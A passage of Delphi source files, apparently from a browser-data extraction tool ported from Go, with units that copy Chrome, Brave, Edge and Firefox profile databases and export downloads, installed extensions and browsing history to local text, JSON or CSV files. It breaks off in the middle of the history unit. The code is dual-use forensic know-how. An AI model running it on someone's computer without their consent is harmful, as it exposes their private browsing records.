Format('downloads_%s.sqlite', [TGUID.NewGuid.ToString])); 240 | try 241 | TFile.Copy(DownloadDb, TempDb); 242 | FSQLiteConnection.Database := TempDb; 243 | 244 | FSQLiteConnection.Connect; 245 | Query := TUniQuery.Create(nil); 246 | try 247 | Query.Connection := FSQLiteConnection; 248 | Query.SQL.Text := CLOSE_JOURNAL_MODE; 249 | Query.ExecSQL; 250 | Query.SQL.Text := QUERY_FIREFOX_DOWNLOAD; 251 | Query.Open; 252 | 253 | while not Query.Eof do 254 | begin 255 | var Content := Query.FieldByName('content').AsString; 256 | var ContentList := Content.Split([',{']); 257 | 258 | if Length(ContentList) > 1 then 259 | begin 260 | SetLength(Result, Length(Result) + 1); 261 | JSONObj := ParseJSONContent(Content); 262 | 263 | try 264 | with Result[High(Result)] do 265 | begin 266 | TargetPath := ContentList[0]; 267 | URL := Query.FieldByName('url').AsString; 268 | 269 | // Handle start date 270 | var StartDateStr := Query.FieldByName('formatted_start_date').AsString; 271 | 272 | try 273 | FS := TFormatSettings.Create; 274 | FS.DateSeparator := '-'; 275 | FS.TimeSeparator := ':'; 276 | FS.ShortDateFormat := 'yyyy-mm-dd'; 277 | FS.LongTimeFormat := 'hh:nn:ss'; 278 | StartTime := StrToDateTime(StartDateStr, FS); 279 | except 280 | on E: Exception do 281 | begin 282 | WriteLn('Error parsing start date: ' + StartDateStr + ' - ' + E.Message); 283 | StartTime := 0; 284 | end; 285 | end; 286 | 287 | if Assigned(JSONObj) then 288 | begin 289 | TotalBytes := JSONObj.GetValue('fileSize'); 290 | 291 | // Handle end time from JSON 292 | var EndTimeStamp := JSONObj.GetValue('endTime'); 293 | if EndTimeStamp > 0 then 294 | begin 295 | var EndDateStr := FormatDateTime('yyyy-mm-dd hh:nn:ss', 296 | UnixToDateTime(EndTimeStamp div 1000)); 297 | try 298 | EndTime := StrToDateTime(EndDateStr, FS); 299 | except 300 | on E: Exception do 301 | begin 302 | WriteLn('Error parsing end date: ' + EndDateStr + ' - ' + E.Message); 303 | EndTime := 0; 304 | end; 305 | end; 306 | end 307 | else 308 | EndTime := 0; 309 | end; 310 | end; 311 | finally 312 | JSONObj.Free; 313 | end; 314 | end; 315 | Query.Next; 316 | end; 317 | 318 | if Length(Result) > 0 then 319 | begin 320 | SortDownloadsBySize(Result); 321 | OutputDownloads(Result); 322 | end; 323 | 324 | finally 325 | Query.Free; 326 | FSQLiteConnection.Disconnect; 327 | end; 328 | 329 | finally 330 | if FileExists(TempDb) then 331 | TFile.Delete(TempDb); 332 | end; 333 | end; 334 | 335 | procedure TFirefoxDownloadHelper.SortDownloadsBySize(var Downloads: TDownloadItems); 336 | var 337 | i, j: Integer; 338 | temp: TDownloadItem; 339 | begin 340 | for i := Low(Downloads) to High(Downloads) - 1 do 341 | for j := i + 1 to High(Downloads) do 342 | if Downloads[i].TotalBytes < Downloads[j].TotalBytes then // Sort by size (largest first) 343 | begin 344 | temp := Downloads[i]; 345 | Downloads[i] := Downloads[j]; 346 | Downloads[j] := temp; 347 | end; 348 | end; 349 | 350 | function TFirefoxDownloadHelper.GetDownloadCount: Integer; 351 | var 352 | Query: TUniQuery; 353 | DownloadDb, TempDb: string; 354 | begin 355 | Result := 0; 356 | DownloadDb := TPath.Combine(FProfilePath, 'places.sqlite'); 357 | 358 | if not FileExists(DownloadDb) then 359 | Exit; 360 | 361 | // Create temp copy of database 362 | TempDb := TPath.Combine(TPath.GetTempPath, Format('downloads_%s.sqlite', [TGUID.NewGuid.ToString])); 363 | try 364 | TFile.Copy(DownloadDb, TempDb); 365 | FSQLiteConnection.Database := TempDb; 366 | 367 | try 368 | FSQLiteConnection.Connect; 369 | Query := TUniQuery.Create(nil); 370 | try 371 | Query.Connection := FSQLiteConnection; 372 | Query.SQL.Text := QUERY_FIREFOX_DOWNLOAD; 373 | Query.Open; 374 | while not Query.Eof do 375 | begin 376 | var Content := Query.FieldByName('content').AsString; 377 | if Content.Contains(',{') then 378 | Inc(Result); 379 | Query.Next; 380 | end; 381 | finally 382 | Query.Free; 383 | end; 384 | finally 385 | FSQLiteConnection.Disconnect; 386 | end; 387 | finally 388 | if FileExists(TempDb) then 389 | TFile.Delete(TempDb); 390 | end; 391 | end; 392 | 393 | end. 394 | -------------------------------------------------------------------------------- /src/browserdata/extension/ChromiumExtension.pas: -------------------------------------------------------------------------------- 1 | unit ChromiumExtension; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, 7 | System.Classes, 8 | System.IOUtils, 9 | System.JSON, 10 | System.StrUtils; 11 | 12 | type 13 | TBrowserKind = (bkChrome, bkBrave, bkEdge); 14 | 15 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 16 | 17 | TExtensionItem = record 18 | ID: string; 19 | URL: string; 20 | Enabled: Boolean; 21 | Name: string; 22 | Description: string; 23 | Version: string; 24 | HomepageURL: string; 25 | end; 26 | 27 | TExtensionItems = TArray; 28 | 29 | TChromiumExtensionHelper = class 30 | private 31 | FProfilePath: string; 32 | FOutputFormat: TOutputFormat; 33 | FBrowserKind: TBrowserKind; 34 | 35 | function GetProfileName: string; 36 | function GetBrowserPrefix: string; 37 | procedure EnsureResultsDirectory; 38 | procedure OutputHuman(const Extensions: TExtensionItems); 39 | procedure OutputJSON(const Extensions: TExtensionItems); 40 | procedure OutputCSV(const Extensions: TExtensionItems); 41 | procedure OutputExtensions(const Extensions: TExtensionItems); 42 | function GetExtensionObject(const JsonObj: TJSONObject; const Path: string) 43 | : TJSONObject; 44 | public 45 | constructor Create(const AProfilePath: string; 46 | ABrowserKind: TBrowserKind = bkChrome); 47 | destructor Destroy; override; 48 | function GetExtensions: TExtensionItems; 49 | function GetExtensionCount: Integer; 50 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 51 | end; 52 | 53 | implementation 54 | 55 | function TChromiumExtensionHelper.GetProfileName: string; 56 | var 57 | ProfileFolder: string; 58 | begin 59 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 60 | Result := StringReplace(ProfileFolder, ' ', '_', [rfReplaceAll]); 61 | end; 62 | 63 | function TChromiumExtensionHelper.GetBrowserPrefix: string; 64 | begin 65 | case FBrowserKind of 66 | bkChrome: 67 | Result := 'chrome'; 68 | bkBrave: 69 | Result := 'brave'; 70 | bkEdge: 71 | Result := 'edge'; 72 | end; 73 | end; 74 | 75 | function TChromiumExtensionHelper.GetExtensionObject(const JsonObj: TJSONObject; 76 | const Path: string): TJSONObject; 77 | var 78 | Parts: TArray; 79 | Current: TJSONObject; 80 | begin 81 | Result := nil; 82 | Parts := Path.Split(['.']); 83 | Current := JsonObj; 84 | 85 | for var Part in Parts do 86 | begin 87 | if not Assigned(Current) then 88 | Exit; 89 | var 90 | Value := Current.GetValue(Part); 91 | if not(Value is TJSONObject) then 92 | Exit; 93 | Current := Value as TJSONObject; 94 | end; 95 | Result := Current; 96 | end; 97 | 98 | function TChromiumExtensionHelper.GetExtensions: TExtensionItems; 99 | var 100 | PreferencesFile: string; 101 | JSONContent: TJSONObject; 102 | ExtObj: TJSONObject; 103 | begin 104 | SetLength(Result, 0); 105 | PreferencesFile := TPath.Combine(FProfilePath, 'Secure Preferences'); 106 | if not FileExists(PreferencesFile) then 107 | Exit; 108 | 109 | try 110 | JSONContent := TJSONObject.ParseJSONValue(TFile.ReadAllText(PreferencesFile) 111 | ) as TJSONObject; 112 | if not Assigned(JSONContent) then 113 | Exit; 114 | 115 | try 116 | // Try different paths 117 | var 118 | SettingsPaths := TArray.Create('settings.extensions', 119 | 'settings.settings', 'extensions.settings'); 120 | 121 | ExtObj := nil; 122 | for var Path in SettingsPaths do 123 | begin 124 | ExtObj := GetExtensionObject(JSONContent, Path); 125 | if Assigned(ExtObj) then 126 | Break; 127 | end; 128 | 129 | if not Assigned(ExtObj) then 130 | Exit; 131 | 132 | // Process extensions like in Go code 133 | for var Pair in ExtObj do 134 | begin 135 | var 136 | ExtData := TJSONObject(Pair.JsonValue); 137 | var 138 | ExtId := Pair.JsonString.Value; 139 | 140 | // Check location 141 | var 142 | Location: TJSONNumber; 143 | if ExtData.TryGetValue('location', Location) then 144 | begin 145 | if Location.AsInt in [5, 10] then 146 | Continue; 147 | end; 148 | 149 | // Check if disabled 150 | var 151 | Enabled := not Assigned(ExtData.GetValue('disable_reasons')); 152 | 153 | // Get manifest 154 | var 155 | Manifest: TJSONObject; 156 | if not ExtData.TryGetValue('manifest', Manifest) then 157 | begin 158 | SetLength(Result, Length(Result) + 1); 159 | with Result[High(Result)] do 160 | begin 161 | ID := ExtId; 162 | Enabled := Enabled; 163 | var 164 | PathValue := ExtData.GetValue('path'); 165 | if Assigned(PathValue) then 166 | Name := PathValue.Value; 167 | end; 168 | Continue; 169 | end; 170 | 171 | SetLength(Result, Length(Result) + 1); 172 | with Result[High(Result)] do 173 | begin 174 | ID := ExtId; 175 | 176 | var 177 | UpdateURL := ''; 178 | var 179 | UpdateValue := Manifest.GetValue('update_url'); 180 | if Assigned(UpdateValue) then 181 | UpdateURL := UpdateValue.Value; 182 | 183 | if Pos('clients2.google.com/service/update2/crx', UpdateURL) > 0 then 184 | URL := 'https://Chromium.google.com/webstore/detail/' + ExtId 185 | else if Pos('edge.microsoft.com/extensionwebstorebase/v1/crx', 186 | UpdateURL) > 0 then 187 | URL := 'https://microsoftedge.microsoft.com/addons/detail/' + ExtId 188 | else 189 | URL := ''; 190 | 191 | Enabled := Enabled; 192 | 193 | var 194 | Value := Manifest.GetValue('name'); 195 | if Assigned(Value) then 196 | Name := Value.Value; 197 | 198 | Value := Manifest.GetValue('description'); 199 | if Assigned(Value) then 200 | Description := Value.Value; 201 | 202 | Value := Manifest.GetValue('version'); 203 | if Assigned(Value) then 204 | Version := Value.Value; 205 | 206 | Value := Manifest.GetValue('homepage_url'); 207 | if Assigned(Value) then 208 | HomepageURL := Value.Value; 209 | end; 210 | end; 211 | 212 | if Length(Result) > 0 then 213 | OutputExtensions(Result); 214 | 215 | finally 216 | JSONContent.Free; 217 | end; 218 | except 219 | on E: Exception do 220 | WriteLn('Error reading extensions: ', E.Message); 221 | end; 222 | end; 223 | 224 | procedure TChromiumExtensionHelper.EnsureResultsDirectory; 225 | var 226 | ResultsDir: string; 227 | begin 228 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 229 | if not TDirectory.Exists(ResultsDir) then 230 | TDirectory.CreateDirectory(ResultsDir); 231 | end; 232 | 233 | procedure TChromiumExtensionHelper.OutputHuman(const Extensions: TExtensionItems); 234 | var 235 | OutputFile: TextFile; 236 | FileName, FilePath: string; 237 | begin 238 | EnsureResultsDirectory; 239 | FileName := Format('%s_%s_extensions.txt', 240 | [GetBrowserPrefix, GetProfileName]); 241 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 242 | AssignFile(OutputFile, FilePath); 243 | try 244 | Rewrite(OutputFile); 245 | for var Item in Extensions do 246 | begin 247 | WriteLn(OutputFile); 248 | WriteLn(OutputFile, 'ID: ', Item.ID); 249 | WriteLn(OutputFile, 'URL: ', Item.URL); 250 | WriteLn(OutputFile, 'Enabled: ', Item.Enabled); 251 | WriteLn(OutputFile, 'Name: ', Item.Name); 252 | WriteLn(OutputFile, 'Description: ', Item.Description); 253 | WriteLn(OutputFile, 'Version: ', Item.Version); 254 | WriteLn(OutputFile, 'Homepage: ', Item.HomepageURL); 255 | WriteLn(OutputFile, '----------------------------------------'); 256 | end; 257 | WriteLn(Format('[%s] Extensions saved to: %s', [GetBrowserPrefix.ToUpper, 258 | FilePath])); 259 | finally 260 | CloseFile(OutputFile); 261 | end; 262 | end; 263 | 264 | procedure TChromiumExtensionHelper.OutputJSON(const Extensions: TExtensionItems); 265 | var 266 | JSONArray: TJSONArray; 267 | JSONObject: TJSONObject; 268 | FileName, FilePath, JsonString: string; 269 | begin 270 | EnsureResultsDirectory; 271 | JSONArray := TJSONArray.Create; 272 | try 273 | for var Item in Extensions do 274 | begin 275 | JSONObject := TJSONObject.Create; 276 | JSONObject.AddPair('id', TJSONString.Create(Item.ID)); 277 | JSONObject.AddPair('url', TJSONString.Create(Item.URL)); 278 | JSONObject.AddPair('enabled', TJSONBool.Create(Item.Enabled)); 279 | JSONObject.AddPair('name', TJSONString.Create(Item.Name)); 280 | JSONObject.AddPair('description', TJSONString.Create(Item.Description)); 281 | JSONObject.AddPair('version', TJSONString.Create(Item.Version)); 282 | JSONObject.AddPair('homepage', TJSONString.Create(Item.HomepageURL)); 283 | JSONArray.AddElement(JSONObject); 284 | end; 285 | 286 | FileName := Format('%s_%s_extensions.json', 287 | [GetBrowserPrefix, GetProfileName]); 288 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), 289 | FileName); 290 | 291 | // Convert JSON to string 292 | JsonString := JSONArray.Format(2); 293 | 294 | // Replace escaped forward slashes \/ with / 295 | JsonString := StringReplace(JsonString, '\/', '/', [rfReplaceAll]); 296 | 297 | // Save the modified JSON string 298 | TFile.WriteAllText(FilePath, JsonString); 299 | 300 | WriteLn(Format('[%s] Extensions saved to: %s', [GetBrowserPrefix.ToUpper, 301 | FilePath])); 302 | finally 303 | JSONArray.Free; 304 | end; 305 | end; 306 | 307 | procedure TChromiumExtensionHelper.OutputCSV(const Extensions: TExtensionItems); 308 | var 309 | OutputFile: TextFile; 310 | FileName, FilePath: string; 311 | begin 312 | EnsureResultsDirectory; 313 | FileName := Format('%s_%s_extensions.csv', 314 | [GetBrowserPrefix, GetProfileName]); 315 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 316 | AssignFile(OutputFile, FilePath); 317 | try 318 | Rewrite(OutputFile); 319 | WriteLn(OutputFile, 'ID,URL,Enabled,Name,Description,Version,HomepageURL'); 320 | 321 | for var Item in Extensions do 322 | begin 323 | WriteLn(OutputFile, Format('%s,%s,%s,%s,%s,%s,%s', [Item.ID, Item.URL, 324 | LowerCase(BoolToStr(Item.Enabled, True)), Item.Name, Item.Description, 325 | Item.Version, Item.HomepageURL])); 326 | end; 327 | 328 | WriteLn(Format('[%s] Extensions saved to: %s', [GetBrowserPrefix.ToUpper, 329 | FilePath])); 330 | finally 331 | CloseFile(OutputFile); 332 | end; 333 | end; 334 | 335 | procedure TChromiumExtensionHelper.OutputExtensions(const Extensions 336 | : TExtensionItems); 337 | begin 338 | case FOutputFormat of 339 | ofHuman: 340 | OutputHuman(Extensions); 341 | ofJSON: 342 | OutputJSON(Extensions); 343 | ofCSV: 344 | OutputCSV(Extensions); 345 | end; 346 | end; 347 | 348 | function TChromiumExtensionHelper.GetExtensionCount: Integer; 349 | begin 350 | Result := Length(GetExtensions); 351 | end; 352 | 353 | constructor TChromiumExtensionHelper.Create(const AProfilePath: string; 354 | ABrowserKind: TBrowserKind = bkChrome); 355 | begin 356 | inherited Create; 357 | FProfilePath := AProfilePath; 358 | FBrowserKind := ABrowserKind; 359 | FOutputFormat := ofCSV; 360 | end; 361 | 362 | destructor TChromiumExtensionHelper.Destroy; 363 | begin 364 | inherited; 365 | end; 366 | 367 | end. 368 | -------------------------------------------------------------------------------- /src/browserdata/extension/FirefoxExtension.pas: -------------------------------------------------------------------------------- 1 | unit FirefoxExtension; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, 7 | System.Classes, 8 | System.IOUtils, 9 | System.Generics.Collections, 10 | System.Generics.Defaults, 11 | System.DateUtils, 12 | System.JSON; 13 | 14 | type 15 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 16 | 17 | TExtensionItem = record 18 | ID: string; 19 | Name: string; 20 | Description: string; 21 | Version: string; 22 | HomepageURL: string; 23 | Enabled: Boolean; 24 | end; 25 | 26 | TExtensionItems = TArray; 27 | 28 | TFirefoxExtensionHelper = class 29 | private 30 | FProfilePath: string; 31 | FOutputFormat: TOutputFormat; 32 | 33 | function GetProfileName: string; 34 | procedure EnsureResultsDirectory; 35 | procedure OutputHuman(const Extensions: TExtensionItems); 36 | procedure OutputJSON(const Extensions: TExtensionItems); 37 | procedure OutputCSV(const Extensions: TExtensionItems); 38 | procedure OutputExtensions(const Extensions: TExtensionItems); 39 | function ParseExtensionsJSON(const JSONContent: string): TExtensionItems; 40 | public 41 | constructor Create(const AProfilePath: string); 42 | destructor Destroy; override; 43 | function GetExtensions: TExtensionItems; 44 | function GetExtensionCount: Integer; 45 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 46 | end; 47 | 48 | implementation 49 | 50 | function TFirefoxExtensionHelper.GetProfileName: string; 51 | var 52 | ProfileFolder: string; 53 | begin 54 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 55 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]); 56 | end; 57 | 58 | procedure TFirefoxExtensionHelper.EnsureResultsDirectory; 59 | var 60 | ResultsDir: string; 61 | begin 62 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 63 | if not TDirectory.Exists(ResultsDir) then 64 | TDirectory.CreateDirectory(ResultsDir); 65 | end; 66 | 67 | procedure TFirefoxExtensionHelper.OutputHuman(const Extensions 68 | : TExtensionItems); 69 | var 70 | OutputFile: TextFile; 71 | FileName, FilePath: string; 72 | begin 73 | EnsureResultsDirectory; 74 | FileName := Format('firefox_%s_extensions.txt', [GetProfileName]); 75 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 76 | AssignFile(OutputFile, FilePath); 77 | try 78 | Rewrite(OutputFile); 79 | for var Item in Extensions do 80 | begin 81 | WriteLn(OutputFile); 82 | WriteLn(OutputFile, 'ID: ', Item.ID); 83 | WriteLn(OutputFile, 'Name: ', Item.Name); 84 | WriteLn(OutputFile, 'Description: ', Item.Description); 85 | WriteLn(OutputFile, 'Version: ', Item.Version); 86 | WriteLn(OutputFile, 'HomepageURL: ', Item.HomepageURL); 87 | WriteLn(OutputFile, 'Enabled: ', Item.Enabled.ToString(True)); 88 | WriteLn(OutputFile, '----------------------------------------'); 89 | end; 90 | WriteLn('[FIREFOX] Extensions saved to: ', FilePath); 91 | finally 92 | CloseFile(OutputFile); 93 | end; 94 | end; 95 | 96 | procedure TFirefoxExtensionHelper.OutputJSON(const Extensions: TExtensionItems); 97 | var 98 | JSONArray: TJSONArray; 99 | JSONObject: TJSONObject; 100 | FileName, FilePath, JSONString: string; 101 | begin 102 | EnsureResultsDirectory; 103 | JSONArray := TJSONArray.Create; 104 | try 105 | for var Item in Extensions do 106 | begin 107 | JSONObject := TJSONObject.Create; 108 | JSONObject.AddPair('id', TJSONString.Create(Item.ID)); 109 | JSONObject.AddPair('name', TJSONString.Create(Item.Name)); 110 | JSONObject.AddPair('description', TJSONString.Create(Item.Description)); 111 | JSONObject.AddPair('version', TJSONString.Create(Item.Version)); 112 | JSONObject.AddPair('homepageURL', TJSONString.Create(Item.HomepageURL)); 113 | JSONObject.AddPair('enabled', TJSONBool.Create(Item.Enabled)); 114 | JSONArray.AddElement(JSONObject); 115 | end; 116 | 117 | FileName := Format('firefox_%s_extensions.json', [GetProfileName]); 118 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 119 | 120 | // Convert JSON to string 121 | JSONString := JSONArray.Format(2); 122 | 123 | // Replace escaped forward slashes \/ with / 124 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 125 | 126 | // Save the modified JSON string 127 | TFile.WriteAllText(FilePath, JSONString); 128 | 129 | WriteLn('[FIREFOX] Extensions saved to: ', FilePath); 130 | finally 131 | JSONArray.Free; 132 | end; 133 | end; 134 | 135 | procedure TFirefoxExtensionHelper.OutputCSV(const Extensions: TExtensionItems); 136 | var 137 | OutputFile: TextFile; 138 | FileName, FilePath: string; 139 | begin 140 | EnsureResultsDirectory; 141 | FileName := Format('firefox_%s_extensions.csv', [GetProfileName]); 142 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 143 | AssignFile(OutputFile, FilePath); 144 | try 145 | Rewrite(OutputFile); 146 | WriteLn(OutputFile, 'ID,Name,Description,Version,HomepageURL,Enabled'); 147 | 148 | for var Item in Extensions do 149 | begin 150 | WriteLn(OutputFile, Format('"%s","%s","%s","%s","%s","%s"', 151 | [StringReplace(Item.ID, '"', '""', [rfReplaceAll]), 152 | StringReplace(Item.Name, '"', '""', [rfReplaceAll]), 153 | StringReplace(Item.Description, '"', '""', [rfReplaceAll]), 154 | StringReplace(Item.Version, '"', '""', [rfReplaceAll]), 155 | StringReplace(Item.HomepageURL, '"', '""', [rfReplaceAll]), 156 | BoolToStr(Item.Enabled, True)])); 157 | end; 158 | 159 | WriteLn('[FIREFOX] Extensions saved to: ', FilePath); 160 | finally 161 | CloseFile(OutputFile); 162 | end; 163 | end; 164 | 165 | procedure TFirefoxExtensionHelper.OutputExtensions(const Extensions 166 | : TExtensionItems); 167 | begin 168 | case FOutputFormat of 169 | ofHuman: 170 | OutputHuman(Extensions); 171 | ofJSON: 172 | OutputJSON(Extensions); 173 | ofCSV: 174 | OutputCSV(Extensions); 175 | end; 176 | end; 177 | 178 | function TFirefoxExtensionHelper.ParseExtensionsJSON(const JSONContent: string) 179 | : TExtensionItems; 180 | var 181 | JSONObject: TJSONObject; 182 | AddonsArray: TJSONArray; 183 | Addon, DefaultLocale: TJSONObject; 184 | JSONValue: TJSONValue; 185 | Location: string; 186 | begin 187 | SetLength(Result, 0); 188 | try 189 | JSONObject := TJSONObject.ParseJSONValue(JSONContent) as TJSONObject; 190 | if not Assigned(JSONObject) then 191 | Exit; 192 | 193 | try 194 | // Check if 'addons' array exists and get it 195 | if not JSONObject.TryGetValue('addons', AddonsArray) then 196 | begin 197 | WriteLn('Warning: No addons array found in JSON'); 198 | Exit; 199 | end; 200 | 201 | for var i := 0 to AddonsArray.Count - 1 do 202 | begin 203 | try 204 | if not(AddonsArray.Items[i] is TJSONObject) then 205 | Continue; 206 | 207 | Addon := AddonsArray.Items[i] as TJSONObject; 208 | 209 | // Get location first 210 | if not Addon.TryGetValue('location', Location) then 211 | Continue; 212 | 213 | // Skip system add-ons 214 | if Location <> 'app-profile' then 215 | Continue; 216 | 217 | // Get defaultLocale object 218 | if not Addon.TryGetValue('defaultLocale', DefaultLocale) 219 | then 220 | begin 221 | WriteLn('Warning: No defaultLocale found for addon'); 222 | Continue; 223 | end; 224 | 225 | SetLength(Result, Length(Result) + 1); 226 | with Result[High(Result)] do 227 | begin 228 | // Get ID 229 | if Addon.TryGetValue('id', ID) = False then 230 | ID := ''; 231 | 232 | // Get Name 233 | if DefaultLocale.TryGetValue('name', Name) = False then 234 | Name := ''; 235 | 236 | // Get Description 237 | if DefaultLocale.TryGetValue('description', Description) = False 238 | then 239 | Description := ''; 240 | 241 | // Get Version 242 | if Addon.TryGetValue('version', Version) = False then 243 | Version := ''; 244 | 245 | // Get HomepageURL 246 | if DefaultLocale.TryGetValue('homepageURL', HomepageURL) = False 247 | then 248 | HomepageURL := ''; 249 | 250 | // Get Enabled status 251 | if Addon.TryGetValue('active', JSONValue) then 252 | Enabled := StrToBoolDef(JSONValue.Value, False) 253 | else 254 | Enabled := False; 255 | end; 256 | 257 | except 258 | on E: Exception do 259 | begin 260 | WriteLn('Warning: Error processing extension: ', E.Message); 261 | Continue; 262 | end; 263 | end; 264 | end; 265 | 266 | finally 267 | JSONObject.Free; 268 | end; 269 | 270 | except 271 | on E: Exception do 272 | begin 273 | WriteLn('Error parsing extensions JSON: ', E.Message); 274 | SetLength(Result, 0); 275 | end; 276 | end; 277 | end; 278 | 279 | constructor TFirefoxExtensionHelper.Create(const AProfilePath: string); 280 | begin 281 | inherited Create; 282 | FProfilePath := AProfilePath; 283 | FOutputFormat := ofCSV; // Default to CSV 284 | end; 285 | 286 | destructor TFirefoxExtensionHelper.Destroy; 287 | begin 288 | inherited; 289 | end; 290 | 291 | function TFirefoxExtensionHelper.GetExtensions: TExtensionItems; 292 | var 293 | ExtensionsFile: string; 294 | JSONContent: string; 295 | begin 296 | SetLength(Result, 0); 297 | ExtensionsFile := TPath.Combine(FProfilePath, 'extensions.json'); 298 | 299 | if not FileExists(ExtensionsFile) then 300 | Exit; 301 | 302 | try 303 | JSONContent := TFile.ReadAllText(ExtensionsFile); 304 | Result := ParseExtensionsJSON(JSONContent); 305 | 306 | if Length(Result) > 0 then 307 | OutputExtensions(Result); 308 | except 309 | on E: Exception do 310 | WriteLn('Error reading extensions: ', E.Message); 311 | end; 312 | end; 313 | 314 | function TFirefoxExtensionHelper.GetExtensionCount: Integer; 315 | var 316 | ExtensionsFile: string; 317 | JSONContent: string; 318 | JSONObject: TJSONObject; 319 | AddonsArray: TJSONArray; 320 | begin 321 | Result := 0; 322 | ExtensionsFile := TPath.Combine(FProfilePath, 'extensions.json'); 323 | 324 | if not FileExists(ExtensionsFile) then 325 | Exit; 326 | 327 | try 328 | JSONContent := TFile.ReadAllText(ExtensionsFile); 329 | JSONObject := TJSONObject.ParseJSONValue(JSONContent) as TJSONObject; 330 | if Assigned(JSONObject) then 331 | try 332 | AddonsArray := JSONObject.GetValue('addons') as TJSONArray; 333 | if Assigned(AddonsArray) then 334 | Result := AddonsArray.Count; 335 | finally 336 | JSONObject.Free; 337 | end; 338 | except 339 | on E: Exception do 340 | WriteLn('Error getting extension count: ', E.Message); 341 | end; 342 | end; 343 | 344 | end. 345 | -------------------------------------------------------------------------------- /src/browserdata/history/ChromiumHistory.pas: -------------------------------------------------------------------------------- 1 | unit ChromiumHistory; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, 7 | System.Classes, 8 | System.IOUtils, 9 | System.Generics.Collections, 10 | System.Generics.Defaults, 11 | System.DateUtils, 12 | System.JSON, 13 | System.StrUtils, 14 | Uni, 15 | SQLiteUniProvider; 16 | 17 | type 18 | TBrowserKind = (bkChrome, bkBrave, bkEdge); 19 | 20 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 21 | 22 | THistoryItem = record 23 | ID: Int64; 24 | Title: string; 25 | URL: string; 26 | VisitCount: Integer; 27 | LastVisitTime: TDateTime; 28 | end; 29 | 30 | THistoryItems = TArray; 31 | 32 | TChromiumHistoryHelper = class 33 | private 34 | FProfilePath: string; 35 | FOutputFormat: TOutputFormat; 36 | FBrowserKind: TBrowserKind; 37 | FSQLiteConnection: TUniConnection; 38 | 39 | const 40 | QUERY_Chromium_HISTORY = 'SELECT url, title, visit_count, ' + 41 | 'strftime(''%Y-%m-%d %H:%M:%S'', last_visit_time/1000000-11644473600, ''unixepoch'', ''localtime'') as formatted_visit_date ' 42 | + 'FROM urls'; 43 | 44 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off'; 45 | 46 | function GetProfileName: string; 47 | function GetBrowserPrefix: string; 48 | procedure EnsureResultsDirectory; 49 | procedure OutputHuman(const History: THistoryItems); 50 | procedure OutputJSON(const History: THistoryItems); 51 | procedure OutputCSV(const History: THistoryItems); 52 | procedure OutputHistory(const History: THistoryItems); 53 | function ChromiumTimeToDateTime(TimeStamp: Int64): TDateTime; 54 | 55 | public 56 | constructor Create(const AProfilePath: string; 57 | ABrowserKind: TBrowserKind = bkChrome); 58 | destructor Destroy; override; 59 | function GetHistory: THistoryItems; 60 | procedure SortHistoryByVisitCount(var History: THistoryItems); 61 | function GetHistoryCount: Integer; 62 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 63 | end; 64 | 65 | implementation 66 | 67 | function TChromiumHistoryHelper.GetProfileName: string; 68 | var 69 | ProfileFolder: string; 70 | begin 71 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 72 | Result := StringReplace(ProfileFolder, ' ', '_', [rfReplaceAll]); 73 | end; 74 | 75 | function TChromiumHistoryHelper.GetBrowserPrefix: string; 76 | begin 77 | case FBrowserKind of 78 | bkChrome: 79 | Result := 'chrome'; 80 | bkBrave: 81 | Result := 'brave'; 82 | bkEdge: 83 | Result := 'edge'; 84 | end; 85 | end; 86 | 87 | function TChromiumHistoryHelper.ChromiumTimeToDateTime(TimeStamp: Int64) 88 | : TDateTime; 89 | const 90 | ChromiumTimeStart = 11644473600; // Seconds between 1601-01-01 and 1970-01-01 91 | begin 92 | Result := UnixToDateTime((TimeStamp div 1000000) - ChromiumTimeStart); 93 | end; 94 | 95 | procedure TChromiumHistoryHelper.EnsureResultsDirectory; 96 | var 97 | ResultsDir: string; 98 | begin 99 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 100 | if not TDirectory.Exists(ResultsDir) then 101 | TDirectory.CreateDirectory(ResultsDir); 102 | end; 103 | 104 | procedure TChromiumHistoryHelper.OutputHuman(const History: THistoryItems); 105 | var 106 | OutputFile: TextFile; 107 | FileName, FilePath: string; 108 | begin 109 | EnsureResultsDirectory; 110 | FileName := Format('%s_%s_history.txt', [GetBrowserPrefix, GetProfileName]); 111 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 112 | AssignFile(OutputFile, FilePath); 113 | try 114 | Rewrite(OutputFile); 115 | for var Item in History do 116 | begin 117 | WriteLn(OutputFile); 118 | WriteLn(OutputFile, 'Title: ', Item.Title); 119 | WriteLn(OutputFile, 'URL: ', Item.URL); 120 | WriteLn(OutputFile, 'Visit Count: ', Item.VisitCount); 121 | WriteLn(OutputFile, 'Last Visit: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', 122 | Item.LastVisitTime)); 123 | WriteLn(OutputFile, '----------------------------------------'); 124 | end; 125 | WriteLn(Format('[%s] History saved to: %s', [GetBrowserPrefix.ToUpper, 126 | FilePath])); 127 | finally 128 | CloseFile(OutputFile); 129 | end; 130 | end; 131 | 132 | procedure TChromiumHistoryHelper.OutputJSON(const History: THistoryItems); 133 | var 134 | JSONArray: 